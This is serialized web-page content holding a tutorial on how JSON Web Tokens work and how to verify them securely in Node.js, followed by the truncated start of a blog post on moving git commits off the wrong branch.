Base64URL encoded and placed as the first segment.",[85,25705,25708],{"className":25706,"code":25707,"language":4821,"meta":90,"style":90},"language-json shiki shiki-themes github-dark","{\n  \"alg\": \"HS256\",   // Algorithm: HMAC + SHA-256\n  \"typ\": \"JWT\"    // Token type: JSON Web Token\n}\n",[34,25709,25710,25714,25729,25742],{"__ignoreMap":90},[94,25711,25712],{"class":96,"line":97},[94,25713,2969],{"class":100},[94,25715,25716,25719,25721,25724,25726],{"class":96,"line":111},[94,25717,25718],{"class":757},"  \"alg\"",[94,25720,1297],{"class":100},[94,25722,25723],{"class":153},"\"HS256\"",[94,25725,24327],{"class":100},[94,25727,25728],{"class":790},"// Algorithm: HMAC + SHA-256\n",[94,25730,25731,25734,25736,25739],{"class":96,"line":122},[94,25732,25733],{"class":757},"  \"typ\"",[94,25735,1297],{"class":100},[94,25737,25738],{"class":153},"\"JWT\"",[94,25740,25741],{"class":790},"    // Token type: JSON Web Token\n",[94,25743,25744],{"class":96,"line":138},[94,25745,1307],{"class":100},[11,25747,25748,25749,25752,25753,25756,25757,25760,25761,25764],{},"Common values for ",[34,25750,25751],{},"alg"," include ",[34,25754,25755],{},"HS256"," (symmetric key, shared secret), ",[34,25758,25759],{},"RS256"," (RSA asymmetric key pair), and ",[34,25762,25763],{},"ES256"," (Elliptic Curve). The choice of algorithm has significant security implications, which we'll cover in the Signing section.",[23,25766,25768],{"id":25767},"part-2-the-payload","Part 2 — The Payload",[11,25770,25771,25772,25775,25776,25779],{},"The payload is the ",[1183,25773,25774],{},"actual data"," — a JSON object of key-value pairs called ",[1183,25777,25778],{},"claims",". Claims describe the user or session and carry any additional information the application needs.",[85,25781,25783],{"className":25706,"code":25782,"language":4821,"meta":90,"style":90},"{\n  \"sub\":  \"user_123\",       // Subject: who this token is about\n  \"name\": \"Kashyap\",        // Custom claim: user's display name\n  \"role\": \"admin\",         // Custom claim: access role\n  \"iat\":  1716239022,      // Issued At (Unix timestamp)\n  \"exp\":  1716242622       // Expires At (iat + 1 hour)\n}\n",[34,25784,25785,25789,25805,25821,25836,25852,25865],{"__ignoreMap":90},[94,25786,25787],{"class":96,"line":97},[94,25788,2969],{"class":100},[94,25790,25791,25794,25797,25800,25802],{"class":96,"line":111},[94,25792,25793],{"class":757},"  \"sub\"",[94,25795,25796],{"class":100},":  ",[94,25798,25799],{"class":153},"\"user_123\"",[94,25801,19710],{"class":100},[94,25803,25804],{"class":790},"// Subject: who this token is about\n",[94,25806,25807,25810,25812,25815,25818],{"class":96,"line":122},[94,25808,25809],{"class":757},"  \"name\"",[94,25811,1297],{"class":100},[94,25813,25814],{"class":153},"\"Kashyap\"",[94,25816,25817],{"class":100},",        ",[94,25819,25820],{"class":790},"// Custom claim: user's display name\n",[94,25822,25823,25826,25828,25831,25833],{"class":96,"line":138},[94,25824,25825],{"class":757},"  \"role\"",[94,25827,1297],{"class":100},[94,25829,25830],{"class":153},"\"admin\"",[94,25832,24181],{"class":100},[94,25834,25835],{"class":790},"// Custom claim: access role\n",[94,25837,25838,25841,25843,25846,25849],{"class":96,"line":164},[94,25839,25840],{"class":757},"  \"iat\"",[94,25842,25796],{"class":100},[94,25844,25845],{"class":757},"1716239022",[94,25847,25848],{"class":100},",      ",[94,25850,25851],{"class":790},"// Issued At (Unix timestamp)\n",[94,25853,25854,25857,25859,25862],{"class":96,"line":174},[94,25855,25856],{"class":757},"  \"exp\"",[94,25858,25796],{"class":100},[94,25860,25861],{"class":757},"1716242622",[94,25863,25864],{"class":790},"       // Expires At (iat + 1 hour)\n",[94,25866,25867],{"class":96,"line":188},[94,25868,1307],{"class":100},[16061,25870,25871],{},[11,25872,25873,25874,25877],{},"The Payload is NOT Secret\nThe payload is base64‑encoded, not encrypted. Base64URL encoding is ",[1183,25875,25876],{},"not encryption",". Anyone who has the token can decode and read the payload. Never put passwords, credit card numbers, or anything sensitive in the payload. JWTs are designed to be tamper-proof, not confidential.",[23,25879,25881],{"id":25880},"part-3-the-signature","Part 3 — The Signature",[11,25883,25884,25885,25888],{},"The signature is the cryptographic stamp that proves the token has not been altered. The signature is created by combining the encoded header, encoded payload, a ",[1183,25886,25887],{},"secret"," (or private key), and the algorithm specified in the header.",[85,25890,25892],{"className":744,"code":25891,"language":746,"meta":90,"style":90},"// Pseudocode\nconst data = base64url(header) + \".\" + base64url(payload);\n\n// For HS256 (symmetric)\nsignature = HMAC_SHA256(data, SECRET_KEY);\n\n// For RS256 (asymmetric)\nsignature = RSA_SHA256_SIGN(data, PRIVATE_KEY);\n",[34,25893,25894,25899,25926,25930,25935,25953,25957,25962],{"__ignoreMap":90},[94,25895,25896],{"class":96,"line":97},[94,25897,25898],{"class":790},"// Pseudocode\n",[94,25900,25901,25903,25906,25908,25911,25914,25916,25919,25921,25923],{"class":96,"line":111},[94,25902,754],{"class":753},[94,25904,25905],{"class":757}," data",[94,25907,761],{"class":753},[94,25909,25910],{"class":146}," base64url",[94,25912,25913],{"class":100},"(header) ",[94,25915,3623],{"class":753},[94,25917,25918],{"class":153}," \".\"",[94,25920,5933],{"class":753},[94,25922,25910],{"class":146},[94,25924,25925],{"class":100},"(payload);\n",[94,25927,25928],{"class":96,"line":122},[94,25929,289],{"emptyLinePlaceholder":288},[94,25931,25932],{"class":96,"line":138},[94,25933,25934],{"class":790},"// For HS256 (symmetric)\n",[94,25936,25937,25940,25942,25945,25948,25951],{"class":96,"line":164},[94,25938,25939],{"class":100},"signature ",[94,25941,150],{"class":753},[94,25943,25944],{"class":146}," HMAC_SHA256",[94,25946,25947],{"class":100},"(data, ",[94,25949,25950],{"class":757},"SECRET_KEY",[94,25952,2093],{"class":100},[94,25954,25955],{"class":96,"line":174},[94,25956,289],{"emptyLinePlaceholder":288},[94,25958,25959],{"class":96,"line":188},[94,25960,25961],{"class":790},"// For RS256 (asymmetric)\n",[94,25963,25964,25966,25968,25971,25973,25976],{"class":96,"line":203},[94,25965,25939],{"class":100},[94,25967,150],{"class":753},[94,25969,25970],{"class":146}," RSA_SHA256_SIGN",[94,25972,25947],{"class":100},[94,25974,25975],{"class":757},"PRIVATE_KEY",[94,25977,2093],{"class":100},[11,25979,25980,25981,25984],{},"The final JWT is just these three parts concatenated with dots: ",[34,25982,25983],{},"header.payload.signature",". If anyone changes even a single character in the payload, the signature will no longer match — and the server will reject the token.",[18,25986,25988],{"id":25987},"claims-the-heart-of-the-payload","Claims — The Heart of the Payload",[11,25990,1748,25991,25994],{},[1183,25992,25993],{},"claim"," is simply a key-value pair inside the payload. The word \"claim\" reflects the fact that the token is asserting something about a subject — \"I claim that this user is an admin\" — and the signature is what makes that assertion trustworthy.",[11,25996,25997],{},"Claims are categorised into three types:",[23,25999,26001],{"id":26000},"registered-claims-standardised","Registered Claims (Standardised)",[11,26003,26004],{},"These are defined in RFC 7519. They are not mandatory but are strongly recommended because they are understood by all JWT libraries. They are intentionally short (3 characters) to keep tokens compact.",[497,26006,26007,26018],{},[500,26008,26009],{},[503,26010,26011,26014,26016],{},[506,26012,26013],{},"Claim",[506,26015,19554],{},[506,26017,21150],{},[519,26019,26020,26033,26046,26059,26072,26085,26098],{},[503,26021,26022,26027,26030],{},[524,26023,26024],{},[34,26025,26026],{},"iss",[524,26028,26029],{},"Issuer",[524,26031,26032],{},"Who created and signed the token (e.g., \"auth.myapp.com\")",[503,26034,26035,26040,26043],{},[524,26036,26037],{},[34,26038,26039],{},"sub",[524,26041,26042],{},"Subject",[524,26044,26045],{},"Who the token is about (e.g., a user ID)",[503,26047,26048,26053,26056],{},[524,26049,26050],{},[34,26051,26052],{},"aud",[524,26054,26055],{},"Audience",[524,26057,26058],{},"Who the token is intended for (e.g., \"api.myapp.com\")",[503,26060,26061,26066,26069],{},[524,26062,26063],{},[34,26064,26065],{},"exp",[524,26067,26068],{},"Expiration",[524,26070,26071],{},"Unix timestamp after which the token must be rejected",[503,26073,26074,26079,26082],{},[524,26075,26076],{},[34,26077,26078],{},"nbf",[524,26080,26081],{},"Not Before",[524,26083,26084],{},"Token is invalid before this Unix timestamp",[503,26086,26087,26092,26095],{},[524,26088,26089],{},[34,26090,26091],{},"iat",[524,26093,26094],{},"Issued At",[524,26096,26097],{},"Unix timestamp when the token was created",[503,26099,26100,26105,26108],{},[524,26101,26102],{},[34,26103,26104],{},"jti",[524,26106,26107],{},"JWT ID",[524,26109,26110],{},"A unique ID for this token — useful for preventing replay attacks",[23,26112,26114],{"id":26113},"public-claims","Public Claims",[11,26116,26117,26118,26121,26122,401],{},"These are custom claims that you define yourself. To avoid conflicts with other applications, they should either be registered in the ",[1183,26119,26120],{},"IANA JWT Registry"," or use a collision-resistant name such as a URI (e.g., ",[34,26123,26124],{},"\"https://myapp.com/claims/role\"",[23,26126,26128],{"id":26127},"private-claims","Private Claims",[11,26130,26131,26132,346,26135,346,26138,360],{},"These are custom claims agreed upon between the specific issuer and consumer of the token — your backend and your frontend, for example. Since they're not shared with anyone else, collision resistance doesn't matter here. Examples: ",[34,26133,26134],{},"\"role\"",[34,26136,26137],{},"\"plan\"",[34,26139,26140],{},"\"teamId\"",[16061,26142,26143],{},[11,26144,26145],{},"Practical tip\nKeep your payload small. Every API call transmits the entire token. Include only what the server actually needs to make an authorization decision — typically user ID, role, and expiration. Avoid embedding profile data that can be fetched on demand.",[18,26147,26149],{"id":26148},"signing-algorithms","Signing Algorithms",[11,26151,26152],{},"JWT supports two families of signing algorithms. Choosing the right one depends on your architecture.",[23,26154,26156],{"id":26155},"symmetric-hmac-hs256-hs384-hs512","Symmetric — HMAC (HS256, HS384, HS512)",[11,26158,26159,26160,26163],{},"Both the issuer and the verifier use the ",[1183,26161,26162],{},"same secret key"," to sign and verify. This is simple and fast, but requires all verifying services to share the secret — meaning if any one of them is compromised, an attacker can forge tokens.",[11,26165,26166],{},"Best for: single-service architectures or cases where you fully control all verifying parties.",[23,26168,26170],{"id":26169},"asymmetric-rsa-ecdsa-rs256-es256","Asymmetric — RSA / ECDSA (RS256, ES256)",[11,26172,26173,26174,26177,26178,26181],{},"The issuing server signs tokens with a ",[1183,26175,26176],{},"private key",". Verifying services only need the corresponding ",[1183,26179,26180],{},"public key",". Sharing a public key is safe — it cannot be used to forge tokens, only to verify them.",[11,26183,26184],{},"Best for: microservices, multi-tenant systems, and any architecture where tokens are verified by parties you don't fully control (e.g., third-party services).",[16061,26186,26187],{},[11,26188,26189,26190,26193],{},"Never Use ",[34,26191,26192],{},"\"alg\": \"none\"","\nThe JWT specification technically allows a \"none\" algorithm meaning no signature at all. Some early libraries trusted this — and attackers exploited it to forge arbitrary tokens. Any production-grade library rejects unsigned tokens by default. Always verify that your library is configured to require a valid algorithm.",[18,26195,26197],{"id":26196},"the-jwt-authentication-flow","The JWT Authentication Flow",[11,26199,26200],{},"Here is the complete end-to-end flow of JWT-based authentication — from login to accessing a protected resource.",[1940,26202,26203,26215,26223,26231,26242,26257],{},[486,26204,26205,26208,26210,26211,26214],{},[1183,26206,26207],{},"User submits credentials",[24953,26209],{},"\nThe client sends a ",[34,26212,26213],{},"POST /login"," request with username and password over HTTPS.",[486,26216,26217,26220,26222],{},[1183,26218,26219],{},"Server authenticates",[24953,26221],{},"\nThe auth server validates the credentials against the database. If correct, it proceeds to generate a token.",[486,26224,26225,26228,26230],{},[1183,26226,26227],{},"Server issues a JWT",[24953,26229],{},"\nThe server builds a payload with the user's ID, role, and expiration time, signs it with the secret key, and returns the full token to the client.",[486,26232,26233,26236,26238,26239,26241],{},[1183,26234,26235],{},"Client stores the token",[24953,26237],{},"\nThe client stores the JWT — ideally in an ",[34,26240,7707],{}," cookie to prevent JavaScript access (XSS protection). Local storage is convenient but less secure.",[486,26243,26244,26247,26249,26250,26252,26253,26256],{},[1183,26245,26246],{},"Client sends the token on every request",[24953,26248],{},"\nFor each API call to a protected endpoint, the client attaches the token in the ",[34,26251,25593],{}," header using the ",[34,26254,26255],{},"Bearer"," schema:",[486,26258,26259,26262,26264,26265,346,26267,346,26269,26271],{},[1183,26260,26261],{},"Server verifies and responds",[24953,26263],{},"\nThe API server re-computes the signature and checks the claims (",[34,26266,26065],{},[34,26268,26026],{},[34,26270,26052],{},"). If everything checks out, access is granted. No database call needed.",[11,26273,26274],{},[1512,26275,26276],{},"Step 5 — Authorization Header Format",[85,26278,26280],{"className":17005,"code":26279,"language":17007,"meta":90,"style":90},"GET /api/playlists HTTP/1.1\nHost: api.musicapp.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdW...\n",[34,26281,26282,26293,26301],{"__ignoreMap":90},[94,26283,26284,26287,26290],{"class":96,"line":97},[94,26285,26286],{"class":146},"GET",[94,26288,26289],{"class":153}," /api/playlists",[94,26291,26292],{"class":153}," HTTP/1.1\n",[94,26294,26295,26298],{"class":96,"line":111},[94,26296,26297],{"class":146},"Host:",[94,26299,26300],{"class":153}," api.musicapp.com\n",[94,26302,26303,26306,26309],{"class":96,"line":122},[94,26304,26305],{"class":146},"Authorization:",[94,26307,26308],{"class":153}," Bearer",[94,26310,26311],{"class":153}," eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdW...\n",[11,26313,26314],{},[1512,26315,26316],{},"Step 3 + 6 — Node.js Example (jsonwebtoken library)",[85,26318,26320],{"className":744,"code":26319,"language":746,"meta":90,"style":90},"const jwt = require('jsonwebtoken');\nconst SECRET = process.env.JWT_SECRET;\n\n// On login: issue a token\nfunction issueToken(user) {\n  return jwt.sign(\n    { sub: user.id, role: user.role },\n    SECRET,\n    { expiresIn: '1h', issuer: 'auth.myapp.com' }\n  );\n}\n\n// On every protected request: verify the token\nfunction verifyToken(token) {\n  try {\n    return jwt.verify(token, SECRET, {\n      issuer: 'auth.myapp.com'\n    }); // Returns decoded payload if valid\n  } catch (err) {\n    throw new Error('Invalid or expired token');\n  }\n}\n",[34,26321,26322,26341,26358,26362,26367,26380,26394,26399,26406,26422,26427,26431,26435,26440,26454,26461,26479,26487,26495,26505,26521,26526],{"__ignoreMap":90},[94,26323,26324,26326,26329,26331,26334,26336,26339],{"class":96,"line":97},[94,26325,754],{"class":753},[94,26327,26328],{"class":757}," jwt",[94,26330,761],{"class":753},[94,26332,26333],{"class":146}," require",[94,26335,770],{"class":100},[94,26337,26338],{"class":153},"'jsonwebtoken'",[94,26340,2093],{"class":100},[94,26342,26343,26345,26348,26350,26353,26356],{"class":96,"line":111},[94,26344,754],{"class":753},[94,26346,26347],{"class":757}," SECRET",[94,26349,761],{"class":753},[94,26351,26352],{"class":100}," process.env.",[94,26354,26355],{"class":757},"JWT_SECRET",[94,26357,1302],{"class":100},[94,26359,26360],{"class":96,"line":122},[94,26361,289],{"emptyLinePlaceholder":288},[94,26363,26364],{"class":96,"line":138},[94,26365,26366],{"class":790},"// On login: issue a token\n",[94,26368,26369,26371,26374,26376,26378],{"class":96,"line":164},[94,26370,2922],{"class":753},[94,26372,26373],{"class":146}," issueToken",[94,26375,770],{"class":100},[94,26377,19065],{"class":2039},[94,26379,2265],{"class":100},[94,26381,26382,26385,26388,26391],{"class":96,"line":174},[94,26383,26384],{"class":753},"  return",[94,26386,26387],{"class":100}," jwt.",[94,26389,26390],{"class":146},"sign",[94,26392,26393],{"class":100},"(\n",[94,26395,26396],{"class":96,"line":188},[94,26397,26398],{"class":100},"    { sub: user.id, role: user.role },\n",[94,26400,26401,26404],{"class":96,"line":203},[94,26402,26403],{"class":757},"    SECRET",[94,26405,3848],{"class":100},[94,26407,26408,26411,26414,26417,26420],{"class":96,"line":1695},[94,26409,26410],{"class":100},"    { expiresIn: ",[94,26412,26413],{"class":153},"'1h'",[94,26415,26416],{"class":100},", issuer: ",[94,26418,26419],{"class":153},"'auth.myapp.com'",[94,26421,2937],{"class":100},[94,26423,26424],{"class":96,"line":1702},[94,26425,26426],{"class":100},"  );\n",[94,26428,26429],{"class":96,"line":1714},[94,26430,1307],{"class":100},[94,26432,26433],{"class":96,"line":1726},[94,26434,289],{"emptyLinePlaceholder":288},[94,26436,26437],{"class":96,"line":5586},[94,26438,26439],{"class":790},"// On every protected request: verify the token\n",[94,26441,26442,26444,26447,26449,26452],{"class":96,"line":6797},[94,26443,2922],{"class":753},[94,26445,26446],{"class":146}," verifyToken",[94,26448,770],{"class":100},[94,26450,26451],{"class":2039},"token",[94,26453,2265],{"class":100},[94,26455,26456,26459],{"class":96,"line":6808},[94,26457,26458],{"class":753},"  try",[94,26460,1289],{"class":100},[94,26462,26463,26465,26467,26470,26473,26476],{"class":96,"line":6821},[94,26464,3370],{"class":753},[94,26466,26387],{"class":100},[94,26468,26469],{"class":146},"verify",[94,26471,26472],{"class":100},"(token, ",[94,26474,26475],{"class":757},"SECRET",[94,26477,26478],{"class":100},", {\n",[94,26480,26481,26484],{"class":96,"line":6827},[94,26482,26483],{"class":100},"      issuer: ",[94,26485,26486],{"class":153},"'auth.myapp.com'\n",[94,26488,26489,26492],{"class":96,"line":6832},[94,26490,26491],{"class":100},"    }); ",[94,26493,26494],{"class":790},"// Returns decoded payload if valid\n",[94,26496,26497,26500,26502],{"class":96,"line":17244},[94,26498,26499],{"class":100},"  } ",[94,26501,4675],{"class":753},[94,26503,26504],{"class":100}," (err) {\n",[94,26506,26507,26510,26512,26514,26516,26519],{"class":96,"line":17250},[94,26508,26509],{"class":753},"    throw",[94,26511,4591],{"class":753},[94,26513,4798],{"class":146},[94,26515,770],{"class":100},[94,26517,26518],{"class":153},"'Invalid or expired token'",[94,26520,2093],{"class":100},[94,26522,26523],{"class":96,"line":20860},[94,26524,26525],{"class":100},"  }\n",[94,26527,26528],{"class":96,"line":20871},[94,26529,1307],{"class":100},[18,26531,26533],{"id":26532},"validation-vs-verification","Validation vs. Verification",[11,26535,26536],{},"These two terms are often used interchangeably, but they mean different things and both are necessary.",[11,26538,26539],{},[1183,26540,26541],{},"Verification (Cryptographic)",[483,26543,26544,26547,26550,26553],{},[486,26545,26546],{},"Re-computes the signature using the secret/public key",[486,26548,26549],{},"Confirms the token was issued by a trusted party",[486,26551,26552],{},"Confirms the header and payload have not been altered",[486,26554,26555],{},"A single failed bit in the signature rejects the token",[11,26557,26558],{},[1183,26559,26560],{},"Validation (Claims-based)",[483,26562,26563,26569,26574,26579],{},[486,26564,26565,26566,26568],{},"Checks ",[34,26567,26065],{},": is the token still valid?",[486,26570,26565,26571,26573],{},[34,26572,26078],{},": is it too early to use?",[486,26575,26565,26576,26578],{},[34,26577,26026],{},": is the issuer expected?",[486,26580,26565,26581,26583],{},[34,26582,26052],{},": is this token meant for us?",[11,26585,26586,26587,26589,26590,360],{},"A token can pass cryptographic verification but still be invalid — for example, if it was issued yesterday and its ",[34,26588,26065],{}," claim has passed. Your server must ",[1183,26591,26592],{},"always do both",[18,26594,26596],{"id":26595},"trade-offs-and-limitations","Trade-offs and Limitations",[11,26598,26599],{},"JWTs are powerful but not a silver bullet. Understanding their limitations will save you from real production incidents.",[11,26601,26602],{},[1183,26603,26604],{},"Strengths",[483,26606,26607,26610,26613,26616,26619],{},[486,26608,26609],{},"Stateless — no server memory or session store required",[486,26611,26612],{},"Self-contained — all info is in the token itself",[486,26614,26615],{},"Cross-domain — works across microservices and domains",[486,26617,26618],{},"Language-agnostic — libraries exist for every platform",[486,26620,26621],{},"Performance — eliminates per-request database lookups",[11,26623,26624],{},[1183,26625,26626],{},"Weaknesses",[483,26628,26629,26634,26637,26640],{},[486,26630,26631,26632],{},"Hard to revoke — a valid token stays valid until ",[34,26633,26065],{},[486,26635,26636],{},"Size — larger than an opaque session ID cookie",[486,26638,26639],{},"Key leak — a leaked secret allows unlimited token forgery",[486,26641,26642],{},"Complexity — more moving parts than a simple session cookie",[23,26644,26646],{"id":26645},"the-revocation-problem-in-detail","The Revocation Problem in Detail",[11,26648,26649,26650,26653],{},"This is the most common gotcha for beginners. Because JWTs are stateless, the server has no record of which tokens it issued. If a user logs out or you need to ban an account, you ",[1183,26651,26652],{},"cannot invalidate a JWT that is already out in the wild"," — at least not without extra infrastructure.",[11,26655,26656],{},"The standard solutions are:",[1940,26658,26659,26674,26688],{},[486,26660,26661,26664,26666,26667,26669,26670,26673],{},[1183,26662,26663],{},"Short expiration times",[24953,26665],{},"\nSet ",[34,26668,26065],{}," to a short window (5–15 minutes). Pair with a longer-lived ",[1183,26671,26672],{},"refresh token"," to silently obtain a new access token. This limits the blast radius of any stolen token.",[486,26675,26676,26679,26681,26682,26684,26685,26687],{},[1183,26677,26678],{},"Token blocklist (denylist)",[24953,26680],{},"\nStore revoked ",[34,26683,26104],{}," (JWT ID) values in a fast store like Redis. On every request, check if the token's ",[34,26686,26104],{}," is on the blocklist. This reintroduces some state but only for the invalidated tokens.",[486,26689,26690,26693,26695],{},[1183,26691,26692],{},"Key rotation",[24953,26694],{},"\nRotating the signing key instantly invalidates all existing tokens — a useful \"nuclear option\" in a security incident.",[18,26697,26699],{"id":26698},"best-practices","Best Practices",[11,26701,26702],{},"Security is not accidental. Here are some rules that matter most when implementing JWTs in production.",[1940,26704,26705,26713,26729,26737,26745,26760],{},[486,26706,26707,26710,26712],{},[1183,26708,26709],{},"Always Use HTTPS",[24953,26711],{},"\nA JWT transmitted over plain HTTP can be intercepted. Always enforce TLS. There are no exceptions to this rule.",[486,26714,26715,26718,26720,26721,216,26723,26725,26726,26728],{},[1183,26716,26717],{},"Store Tokens in HttpOnly Cookies",[24953,26719],{},"\nStoring JWTs in ",[34,26722,7629],{},[34,26724,7632],{}," makes them accessible to any JavaScript running on the page — including malicious scripts injected via XSS attacks. An ",[34,26727,7707],{}," cookie is inaccessible to JavaScript by design.",[486,26730,26731,26734,26736],{},[1183,26732,26733],{},"Keep Expiration Times Short",[24953,26735],{},"\nAccess tokens should expire in minutes or at most an hour. Use a separate, longer-lived refresh token to renew them silently. This way, even a stolen access token is only useful for a short window.",[486,26738,26739,26742,26744],{},[1183,26740,26741],{},"Never Store Sensitive Data in the Payload",[24953,26743],{},"\nThe payload is only Base64URL encoded — not encrypted. Anyone who intercepts the token (even over HTTPS, if they have access to the client device) can decode it. Store only non-sensitive identifiers like user ID and role.",[486,26746,26747,26750,26752,26753,346,26755,463,26757,26759],{},[1183,26748,26749],{},"Validate All Registered Claims",[24953,26751],{},"\nDo not assume your library validates everything by default. Explicitly check ",[34,26754,26065],{},[34,26756,26026],{},[34,26758,26052],{},". The few lines of code required here prevent entire categories of attacks.",[486,26761,26762,26765,26767],{},[1183,26763,26764],{},"Prefer RS256 / ES256 for Distributed Systems",[24953,26766],{},"\nIn any system where multiple services verify tokens, use an asymmetric algorithm. Each service only needs the public key — sharing a private key across services is a security liability.",[11,26769,26770],{},[1512,26771,26772],{},"Verification with explicit claim checks:",[85,26774,26776],{"className":744,"code":26775,"language":746,"meta":90,"style":90},"// Always pass verification options explicitly\njwt.verify(token, publicKey, {\n  algorithms: ['RS256'],      // Never allow 'none'\n  issuer:     'auth.example.com',\n  audience:   'api.example.com',\n  // 'exp' is checked automatically by the library\n});\n",[34,26777,26778,26783,26793,26807,26817,26827,26832],{"__ignoreMap":90},[94,26779,26780],{"class":96,"line":97},[94,26781,26782],{"class":790},"// Always pass verification options explicitly\n",[94,26784,26785,26788,26790],{"class":96,"line":111},[94,26786,26787],{"class":100},"jwt.",[94,26789,26469],{"class":146},[94,26791,26792],{"class":100},"(token, publicKey, {\n",[94,26794,26795,26798,26801,26804],{"class":96,"line":122},[94,26796,26797],{"class":100},"  algorithms: [",[94,26799,26800],{"class":153},"'RS256'",[94,26802,26803],{"class":100},"],      ",[94,26805,26806],{"class":790},"// Never allow 'none'\n",[94,26808,26809,26812,26815],{"class":96,"line":138},[94,26810,26811],{"class":100},"  issuer:     ",[94,26813,26814],{"class":153},"'auth.example.com'",[94,26816,3848],{"class":100},[94,26818,26819,26822,26825],{"class":96,"line":164},[94,26820,26821],{"class":100},"  audience:   ",[94,26823,26824],{"class":153},"'api.example.com'",[94,26826,3848],{"class":100},[94,26828,26829],{"class":96,"line":174},[94,26830,26831],{"class":790},"  // 'exp' is checked automatically by the library\n",[94,26833,26834],{"class":96,"line":188},[94,26835,26836],{"class":100},"});\n",[18,26838,18275],{"id":18274},[11,26840,26841,26842,26844],{},"Use JWTs for stateless, cross-service authorization. Keep them short-lived. Transmit only over HTTPS. Store in ",[34,26843,7707],{}," cookies. Never put secrets in the payload. Always verify the signature and all critical claims. For multi-service architectures, use RS256 so only one service ever touches the private key.",[8983,26846,26847],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":90,"searchDepth":111,"depth":111,"links":26849},[26850,26851,26852,26853,26858,26863,26867,26868,26869,26872,26873],{"id":25560,"depth":111,"text":25561},{"id":25586,"depth":111,"text":25587},{"id":25609,"depth":111,"text":25610},{"id":25668,"depth":111,"text":25669,"children":26854},[26855,26856,26857],{"id":25687,"depth":122,"text":25688},{"id":25767,"depth":122,"text":25768},{"id":25880,"depth":122,"text":25881},{"id":25987,"depth":111,"text":25988,"children":26859},[26860,26861,26862],{"id":26000,"depth":122,"text":26001},{"id":26113,"depth":122,"text":26114},{"id":26127,"depth":122,"text":26128},{"id":26148,"depth":111,"text":26149,"children":26864},[26865,26866],{"id":26155,"depth":122,"text":26156},{"id":26169,"depth":122,"text":26170},{"id":26196,"depth":111,"text":26197},{"id":26532,"depth":111,"text":26533},{"id":26595,"depth":111,"text":26596,"children":26870},[26871],{"id":26645,"depth":122,"text":26646},{"id":26698,"depth":111,"text":26699},{"id":18274,"depth":111,"text":18275},"2026-04-04","A comprehensive guide to JSON Web Tokens (JWT) that cuts through the jargon and gets straight to the point. Learn what JWTs are, how JWT works, and how to use JWTs effectively in your applications.","everything-about-json-web-tokens-explained.png",{},"/backend/everything-about-json-web-tokens-explained",{"title":25552,"description":26875},"Backend/1.everything-about-json-web-tokens-explained",[26882,26883,26884,26885],"JWT","JSON Web Tokens","Authentication","Security","mjEU-xXBmUUlUL8Tkj6ZQsPFjWEDC3Np3qY8tTa6zgo",{"id":26888,"title":26889,"author":6,"body":26890,"date":27490,"description":27491,"draft":9143,"extension":9144,"guide":9145,"image":27492,"meta":27493,"navigation":288,"path":27494,"seo":27495,"stem":27496,"tags":27497,"__hash__":27500},"blog/How-To/1.git-commit-to-wrong-branch-fix.md","How to Fix a Git Commit to Wrong Branch: A Step-by-Step Guide",{"type":8,"value":26891,"toc":27478},[26892,26910,26913,26917,26925,26928,26942,26945,26949,26952,26978,26990,26994,27003,27006,27028,27031,27051,27102,27111,27115,27118,27127,27132,27136,27139,27157,27161,27168,27171,27195,27242,27250,27261,27265,27270,27273,27287,27290,27308,27311,27338,27388,27393,27397,27400,27420,27424,27431,27463,27467,27470,27473,27475],[11,26893,26894,26895,26898,26899,26902,26903,216,26906,26909],{},"I know you’ve been there. You are deep in the \"flow,\" writing code, and hitting ",[34,26896,26897],{},"git commit"," with confidence. Then, you look at your terminal and realize the mistake: you just made a ",[1183,26900,26901],{},"git commit to wrong branch",". Specifically, you’ve pushed feature code directly onto the ",[34,26904,26905],{},"main",[34,26907,26908],{},"master"," branch.",[11,26911,26912],{},"Don't panic. This is a rite of passage for every developer. Whether you forgot to switch branches or your IDE defaulted to master, it is easily fixable. In this guide, I shall show you how to safely move those commits to a feature branch and restore order to your repository.",[18,26914,26916],{"id":26915},"the-common-git-mistake-developers-make","The Common Git Mistake Developers Make",[11,26918,26919,26920,216,26922,26924],{},"Git is a powerful version control system, but its flexibility means it doesn't always stop us from making mistakes. Most junior developers start their work in the ",[34,26921,26908],{},[34,26923,26905],{}," branch because it’s the default state of a new repository.",[11,26926,26927],{},"Accidentally committing to the wrong branch usually happens because:",[483,26929,26930,26936,26939],{},[486,26931,26932,26933,360],{},"You forgot to run ",[34,26934,26935],{},"git checkout -b \u003Cbranch-name>",[486,26937,26938],{},"You switched tasks quickly and didn't check your current branch status.",[486,26940,26941],{},"You assumed you were on a feature branch when you were actually on the primary production branch.",[11,26943,26944],{},"Whatever the reason, the result is the same: your feature code is now part of the main branch history, which can lead to issues in production and complicate collaboration with other developers.",[18,26946,26948],{"id":26947},"example-scenario-real-situation","Example Scenario (Real Situation)",[11,26950,26951],{},"Let's look at a common scenario. Imagine you are building a website:",[1940,26953,26954,26965,26968,26975],{},[486,26955,26956,26957,7210,26960,216,26962,26964],{},"You initialize a Git repository and commit your ",[34,26958,26959],{},"index.html",[34,26961,26908],{},[34,26963,26905],{},". This is correct.",[486,26966,26967],{},"You start working on a \"Login\" feature.",[486,26969,26970,26971,26974],{},"Without switching branches, you create ",[34,26972,26973],{},"login.html",", write the API integration.",[486,26976,26977],{},"You made two commits: \"add login.html\" and \"add authentication\".",[11,26979,26980,26981,26983,26984,26987,26988,360],{},"Now, your production-ready ",[34,26982,26908],{}," branch contains experimental, unreviewed feature code. You need to move those \"Login\" commits to a branch called ",[34,26985,26986],{},"feature-login"," and remove them from 